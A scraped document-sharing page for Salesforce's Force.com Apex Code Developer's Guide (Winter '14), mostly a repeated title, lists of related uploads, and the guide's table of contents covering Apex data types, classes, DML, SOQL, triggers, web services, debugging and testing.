Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference

More Related Content

PDF
Wowza mediaserverpro usersguide
PDF
Salesforce Administrator | Security Implementation Guide 2014
PDF
PDF
Software engineering II
PDF
Tellurium 0.6.0 User Guide
PDF
Dreamweaver cs4 tutorials
PDF
Tellurium reference Document 0.7.0
PDF
R handbook - from Installation to Text Analytics
Wowza mediaserverpro usersguide
Salesforce Administrator | Security Implementation Guide 2014
Software engineering II
Tellurium 0.6.0 User Guide
Dreamweaver cs4 tutorials
Tellurium reference Document 0.7.0
R handbook - from Installation to Text Analytics

What's hot (20)

PDF
PDF
Guia de referencia do at 8000 s
PDF
Abs guide
PDF
Dell poweredge-rc-s140 users-guide-en-us-nhat-thien-minh
PDF
Kotlin notes for professionals
PDF
Red hat enterprise_linux-5-installation_guide-en-us
PDF
Flash as3 programming
PDF
Seam reference guide
PDF
Core java interview questions and answers
PDF
sun-java-style
PDF
Os Property documentation
PDF
Using IBM Features on Demand
PDF
Using the i pad in legal practice
PDF
Test and target book
PDF
English Idioms Tests
PDF
Flash as3 programming
PDF
R Ints
PDF
C:\Documents And Settings\Junyang8\Desktop\Utap\Blog
PDF
User manual MXSuite ENG 201902
PDF
Schmuzzi User Manual
Guia de referencia do at 8000 s
Abs guide
Dell poweredge-rc-s140 users-guide-en-us-nhat-thien-minh
Kotlin notes for professionals
Red hat enterprise_linux-5-installation_guide-en-us
Flash as3 programming
Seam reference guide
Core java interview questions and answers
sun-java-style
Os Property documentation
Using IBM Features on Demand
Using the i pad in legal practice
Test and target book
English Idioms Tests
Flash as3 programming
R Ints
C:\Documents And Settings\Junyang8\Desktop\Utap\Blog
User manual MXSuite ENG 201902
Schmuzzi User Manual
Ad

Viewers also liked (6)

PDF
Getting Started With Apex REST Services
PPTX
Forcelandia 2015
PPT
Using Node.js for Mocking Apex Web Services
PPTX
Using the Tooling API to Generate Apex SOAP Web Service Clients
PPTX
Intro to Apex - Salesforce Force Friday Webinar
PPT
Advanced Platform Series - OAuth and Social Authentication
Getting Started With Apex REST Services
Forcelandia 2015
Using Node.js for Mocking Apex Web Services
Using the Tooling API to Generate Apex SOAP Web Service Clients
Intro to Apex - Salesforce Force Friday Webinar
Advanced Platform Series - OAuth and Social Authentication
Ad

Similar to Salesforce Apex Language Reference (20)

PDF
Plesk 8.1 for Linux/UNIX
PDF
Workbook vf
PDF
Test PPT
PDF
PDF
Plesk 8.1 for Linux/UNIX
PDF
Plesk 8.1 for Linux/UNIX
PDF
Plesk Custom Skins
PDF
Amazan Ec2
DOC
Groove 2007 Users Guide
PDF
Plesk 8.0 for Linux/UNIX
PDF
Plesk 8.0 for Linux/UNIX
PDF
Salesforce command line data loader
PDF
Esm admin guide_5.2
PDF
Esm admin guide_5.2
PDF
Informatica installation guide
PDF
Plesk Modules
PDF
Force dotcom apex code developers guide
PDF
Installing and conf guide for hp sm connector
PDF
Getting Started Guide
PDF
DPM-mobilinux
Plesk 8.1 for Linux/UNIX
Workbook vf
Test PPT
Plesk 8.1 for Linux/UNIX
Plesk 8.1 for Linux/UNIX
Plesk Custom Skins
Amazan Ec2
Groove 2007 Users Guide
Plesk 8.0 for Linux/UNIX
Plesk 8.0 for Linux/UNIX
Salesforce command line data loader
Esm admin guide_5.2
Esm admin guide_5.2
Informatica installation guide
Plesk Modules
Force dotcom apex code developers guide
Installing and conf guide for hp sm connector
Getting Started Guide
DPM-mobilinux

Recently uploaded (20)

PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PPTX
Spectroscopy.pptx food analysis technology
PDF
Empathic Computing: Creating Shared Understanding
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Electronic commerce courselecture one. Pdf
PPTX
sap open course for s4hana steps from ECC to s4
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Encapsulation theory and applications.pdf
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PPTX
Cloud computing and distributed systems.
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Unlocking AI with Model Context Protocol (MCP)
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Machine learning based COVID-19 study performance prediction
Per capita expenditure prediction using model stacking based on satellite ima...
Spectroscopy.pptx food analysis technology
Empathic Computing: Creating Shared Understanding
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Electronic commerce courselecture one. Pdf
sap open course for s4hana steps from ECC to s4
Building Integrated photovoltaic BIPV_UPV.pdf
MYSQL Presentation for SQL database connectivity
Encapsulation theory and applications.pdf
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Cloud computing and distributed systems.
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Reach Out and Touch Someone: Haptics and Empathic Computing
Unlocking AI with Model Context Protocol (MCP)
“AI and Expert System Decision Support & Business Intelligence Systems”
Network Security Unit 5.pdf for BCA BBA.
The Rise and Fall of 3GPP – Time for a Sabbatical?
Machine learning based COVID-19 study performance prediction

Salesforce Apex Language Reference

  • 1. Version 29.0: Winter ’14 Force.com Apex Code Developer's Guide Last updated: January 3, 2014 © Copyright 2000–2013 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
  • 3. Table of Contents Table of Contents Getting Started....................................................................................................................................1 Chapter 1: Introduction...............................................................................................................1 Introducing Apex...........................................................................................................................................................2 What is Apex?...............................................................................................................................................................2 When Should I Use Apex?............................................................................................................................................4 How Does Apex Work?................................................................................................................................................5 Developing Code in the Cloud......................................................................................................................................5 What's New?.................................................................................................................................................................6 Understanding Apex Core Concepts.............................................................................................................................7 Chapter 2: Apex Development Process.......................................................................................12 What is the Apex Development Process?....................................................................................................................13 Using a Developer or Sandbox Organization..............................................................................................................13 Learning Apex.............................................................................................................................................................15 Writing Apex Using Development Environments......................................................................................................16 Writing Tests..............................................................................................................................................................17 Deploying Apex to a Sandbox Organization...............................................................................................................18 Deploying Apex to a Salesforce Production Organization..........................................................................................18 Adding Apex Code to a Force.com AppExchange App..............................................................................................18 Chapter 3: Apex Quick Start......................................................................................................20 Writing Your First Apex Class and Trigger................................................................................................................20 Creating a Custom Object...............................................................................................................................20 Adding an Apex Class.....................................................................................................................................21 Adding an Apex Trigger..................................................................................................................................22 Adding a Test Class.........................................................................................................................................23 Deploying Components to Production............................................................................................................25 Writing Apex.....................................................................................................................................26 Chapter 4: Data Types and Variables..........................................................................................26 Data Types..................................................................................................................................................................27 Primitive Data Types...................................................................................................................................................27 Collections...................................................................................................................................................................30 Lists.................................................................................................................................................................30 Sets..................................................................................................................................................................32 Maps................................................................................................................................................................33 Parameterized Typing......................................................................................................................................34 Enums.........................................................................................................................................................................34 Variables......................................................................................................................................................................36 Constants.....................................................................................................................................................................37 Expressions and Operators..........................................................................................................................................38 Understanding Expressions..............................................................................................................................38 i
  • 4. Table of Contents Understanding Expression Operators..............................................................................................................39 Understanding Operator Precedence...............................................................................................................45 Using Comments.............................................................................................................................................45 Assignment Statements...............................................................................................................................................45 Understanding Rules of Conversion............................................................................................................................47 Chapter 5: Control Flow Statements..........................................................................................49 Conditional (If-Else) Statements................................................................................................................................50 Loops...........................................................................................................................................................................50 Do-While Loops.............................................................................................................................................51 While Loops....................................................................................................................................................51 For Loops........................................................................................................................................................51 Chapter 6: Classes, Objects, and Interfaces.................................................................................54 Understanding Classes.................................................................................................................................................55 Apex Class Definition......................................................................................................................................55 Class Variables.................................................................................................................................................56 Class Methods.................................................................................................................................................56 Using Constructors..........................................................................................................................................59 Access Modifiers..............................................................................................................................................60 Static and Instance...........................................................................................................................................61 Apex Properties...............................................................................................................................................64 Extending a Class............................................................................................................................................66 Extended Class Example.................................................................................................................................68 Understanding Interfaces.............................................................................................................................................71 Custom Iterators..............................................................................................................................................72 Keywords.....................................................................................................................................................................74 Using the final Keyword..................................................................................................................................74 Using the instanceof Keyword.........................................................................................................................74 Using the super Keyword.................................................................................................................................75 Using the this Keyword...................................................................................................................................76 Using the transient Keyword...........................................................................................................................76 Using the with sharing or without sharing Keywords......................................................................................77 Annotations.................................................................................................................................................................78 Deprecated Annotation...................................................................................................................................79 Future Annotation...........................................................................................................................................79 IsTest Annotation............................................................................................................................................80 ReadOnly Annotation.....................................................................................................................................83 RemoteAction Annotation..............................................................................................................................83 TestVisible Annotation....................................................................................................................................84 Apex REST Annotations................................................................................................................................84 Classes and Casting.....................................................................................................................................................86 Classes and Collections....................................................................................................................................87 Collection Casting...........................................................................................................................................87 Differences Between Apex Classes and Java Classes...................................................................................................88 ii
  • 5. Table of Contents Class Definition Creation............................................................................................................................................89 Naming Conventions.......................................................................................................................................90 Name Shadowing.............................................................................................................................................90 Namespace Prefix........................................................................................................................................................91 Using the System Namespace..........................................................................................................................91 Namespace, Class, and Variable Name Precedence.........................................................................................92 Type Resolution and System Namespace for Types........................................................................................93 Apex Code Versions....................................................................................................................................................93 Setting the Salesforce API Version for Classes and Triggers..........................................................................94 Setting Package Versions for Apex Classes and Triggers................................................................................95 Lists of Custom Types and Sorting.............................................................................................................................95 Using Custom Types in Map Keys and Sets...............................................................................................................95 Chapter 7: Working with Data in Apex.......................................................................................98 sObject Types..............................................................................................................................................................99 Accessing sObject Fields................................................................................................................................100 Validating sObjects and Fields ......................................................................................................................101 Adding and Retrieving Data......................................................................................................................................101 DML.........................................................................................................................................................................102 DML Statements vs. Database Class Methods.............................................................................................102 DML Operations As Atomic Transactions...................................................................................................103 How DML Works.........................................................................................................................................103 DML Operations...........................................................................................................................................104 DML Exceptions and Error Handling..........................................................................................................114 More About DML........................................................................................................................................115 Locking Records............................................................................................................................................124 SOQL and SOSL Queries........................................................................................................................................125 Working with SOQL and SOSL Query Results...........................................................................................127 Accessing sObject Fields Through Relationships..........................................................................................127 Understanding Foreign Key and Parent-Child Relationship SOQL Queries...............................................129 Working with SOQL Aggregate Functions..................................................................................................129 Working with Very Large SOQL Queries....................................................................................................130 Using SOQL Queries That Return One Record...........................................................................................132 Improving Performance by Not Searching on Null Values............................................................................132 Working with Polymorphic Relationships in SOQL Queries.......................................................................133 Using Apex Variables in SOQL and SOSL Queries.....................................................................................134 Querying All Records with a SOQL Statement............................................................................................135 SOQL For Loops......................................................................................................................................................136 SOQL For Loops Versus Standard SOQL Queries......................................................................................136 SOQL For Loop Formats.............................................................................................................................136 sObject Collections....................................................................................................................................................138 Lists of sObjects.............................................................................................................................................138 Sorting Lists of sObjects................................................................................................................................139 Expanding sObject and List Expressions.......................................................................................................142 Sets of Objects...............................................................................................................................................142 iii
  • 6. Table of Contents Maps of sObjects...........................................................................................................................................143 Dynamic Apex...........................................................................................................................................................145 Understanding Apex Describe Information...................................................................................................145 Using Field Tokens........................................................................................................................................147 Understanding Describe Information Permissions........................................................................................148 Describing sObjects Using Schema Method.................................................................................................149 Describing Tabs Using Schema Methods......................................................................................................149 Accessing All sObjects...................................................................................................................................150 Accessing All Data Categories Associated with an sObject...........................................................................151 Dynamic SOQL............................................................................................................................................155 Dynamic SOSL.............................................................................................................................................156 Dynamic DML..............................................................................................................................................157 Apex Security and Sharing........................................................................................................................................159 Enforcing Sharing Rules................................................................................................................................159 Enforcing Object and Field Permissions.......................................................................................................161 Class Security.................................................................................................................................................162 Understanding Apex Managed Sharing.........................................................................................................162 Security Tips for Apex and Visualforce Development...................................................................................174 Custom Settings........................................................................................................................................................180 Ways to Invoke Apex........................................................................................................................182 Chapter 8: Invoking Apex........................................................................................................182 Anonymous Blocks....................................................................................................................................................183 Triggers.....................................................................................................................................................................184 Bulk Triggers.................................................................................................................................................185 Trigger Syntax...............................................................................................................................................185 Trigger Context Variables.............................................................................................................................186 Context Variable Considerations...................................................................................................................188 Common Bulk Trigger Idioms......................................................................................................................189 Defining Triggers..........................................................................................................................................190 Triggers and Merge Statements.....................................................................................................................192 Triggers and Recovered Records....................................................................................................................192 Triggers and Order of Execution...................................................................................................................193 Operations that Don't Invoke Triggers.........................................................................................................195 Entity and Field Considerations in Triggers.................................................................................................196 Trigger Exceptions........................................................................................................................................197 Trigger and Bulk Request Best Practices.......................................................................................................198 Asynchronous Apex...................................................................................................................................................199 Future Methods.............................................................................................................................................199 Apex Scheduler..............................................................................................................................................201 Batch Apex....................................................................................................................................................207 Web Services.............................................................................................................................................................218 Exposing Apex Methods as SOAP Web Services.........................................................................................218 Exposing Apex Classes as REST Web Services............................................................................................220 iv
  • 7. Table of Contents Apex Email Service....................................................................................................................................................229 Using the InboundEmail Object....................................................................................................................230 Visualforce Classes.....................................................................................................................................................231 Invoking Apex Using JavaScript................................................................................................................................232 JavaScript Remoting......................................................................................................................................232 Apex in AJAX................................................................................................................................................232 Chapter 9: Apex Transactions and Governor Limits..................................................................234 Apex Transactions.....................................................................................................................................................235 Understanding Execution Governors and Limits......................................................................................................236 Using Governor Limit Email Warnings....................................................................................................................242 Running Apex Within Governor Execution Limits..................................................................................................242 Chapter 10: Using Salesforce Features with Apex......................................................................245 Working with Chatter in Apex.................................................................................................................................246 Chatter in Apex Quick Start..........................................................................................................................247 Working with Feeds and Feed Items.............................................................................................................251 Using ConnectApi Input and Output Classes...............................................................................................256 Accessing ConnectApi Data in Communities and Portals............................................................................256 Understanding Limits for ConnectApi Classes.............................................................................................257 Serializing and Deserializing ConnectApi Obejcts........................................................................................257 ConnectApi Versioning and Equality Checking...........................................................................................257 Casting ConnectApi Objects.........................................................................................................................258 Wildcards.......................................................................................................................................................258 Testing ConnectApi Code.............................................................................................................................259 Differences Between ConnectApi Classes and Other Apex Classes..............................................................260 Approval Processing..................................................................................................................................................261 Apex Approval Processing Example..............................................................................................................262 Outbound Email........................................................................................................................................................262 Inbound Email...........................................................................................................................................................265 Knowledge Management...........................................................................................................................................265 Publisher Actions.......................................................................................................................................................265 Force.com Sites..........................................................................................................................................................266 Rewriting URLs for Force.com Sites.........................................................................................................................266 Support Classes..........................................................................................................................................................272 Visual Workflow........................................................................................................................................................273 Passing Data to a Flow Using the Process.Plugin Interface......................................................................................274 Implementing the Process.Plugin Interface...................................................................................................274 Using the Process.PluginRequest Class.........................................................................................................276 Using the Process.PluginResult Class............................................................................................................276 Using the Process.PluginDescribeResult Class..............................................................................................277 Process.Plugin Data Type Conversions.........................................................................................................279 Sample Process.Plugin Implementation for Lead Conversion.......................................................................279 Communities.............................................................................................................................................................284 Zones.........................................................................................................................................................................285 v
  • 8. Table of Contents Chapter 11: Integration and Apex Utilities................................................................................286 Invoking Callouts Using Apex...................................................................................................................................287 Adding Remote Site Settings........................................................................................................................287 SOAP Services: Defining a Class from a WSDL Document........................................................................287 Invoking HTTP Callouts..............................................................................................................................299 Using Certificates..........................................................................................................................................306 Callout Limits and Limitations.....................................................................................................................308 JSON Support...........................................................................................................................................................309 Roundtrip Serialization and Deserialization..................................................................................................310 JSON Generator............................................................................................................................................312 JSON Parsing................................................................................................................................................313 XML Support............................................................................................................................................................315 Reading and Writing XML Using Streams...................................................................................................315 Reading and Writing XML Using the DOM...............................................................................................318 Securing Your Data...................................................................................................................................................321 Encoding Your Data..................................................................................................................................................323 Using Patterns and Matchers.....................................................................................................................................323 Using Regions................................................................................................................................................325 Using Match Operations...............................................................................................................................325 Using Bounds................................................................................................................................................325 Understanding Capturing Groups.................................................................................................................326 Pattern and Matcher Example.......................................................................................................................326 Finishing Touches............................................................................................................................328 Chapter 12: Debugging Apex...................................................................................................328 Understanding the Debug Log..................................................................................................................................329 Working with Logs in the Developer Console..............................................................................................333 Debugging Apex API Calls...........................................................................................................................341 Exceptions in Apex....................................................................................................................................................342 Exception Statements....................................................................................................................................343 Exception Handling Example........................................................................................................................344 Built-In Exceptions and Common Methods.................................................................................................346 Catching Different Exception Types.............................................................................................................349 Creating Custom Exceptions.........................................................................................................................350 Chapter 13: Testing Apex.........................................................................................................354 Understanding Testing in Apex.................................................................................................................................355 What to Test in Apex................................................................................................................................................355 What are Apex Unit Tests?.......................................................................................................................................356 Accessing Private Test Class Members..........................................................................................................358 Understanding Test Data..........................................................................................................................................360 Isolation of Test Data from Organization Data in Unit Tests......................................................................360 Using the isTest(SeeAllData=true) Annotation.............................................................................................361 Loading Test Data.........................................................................................................................................363 vi
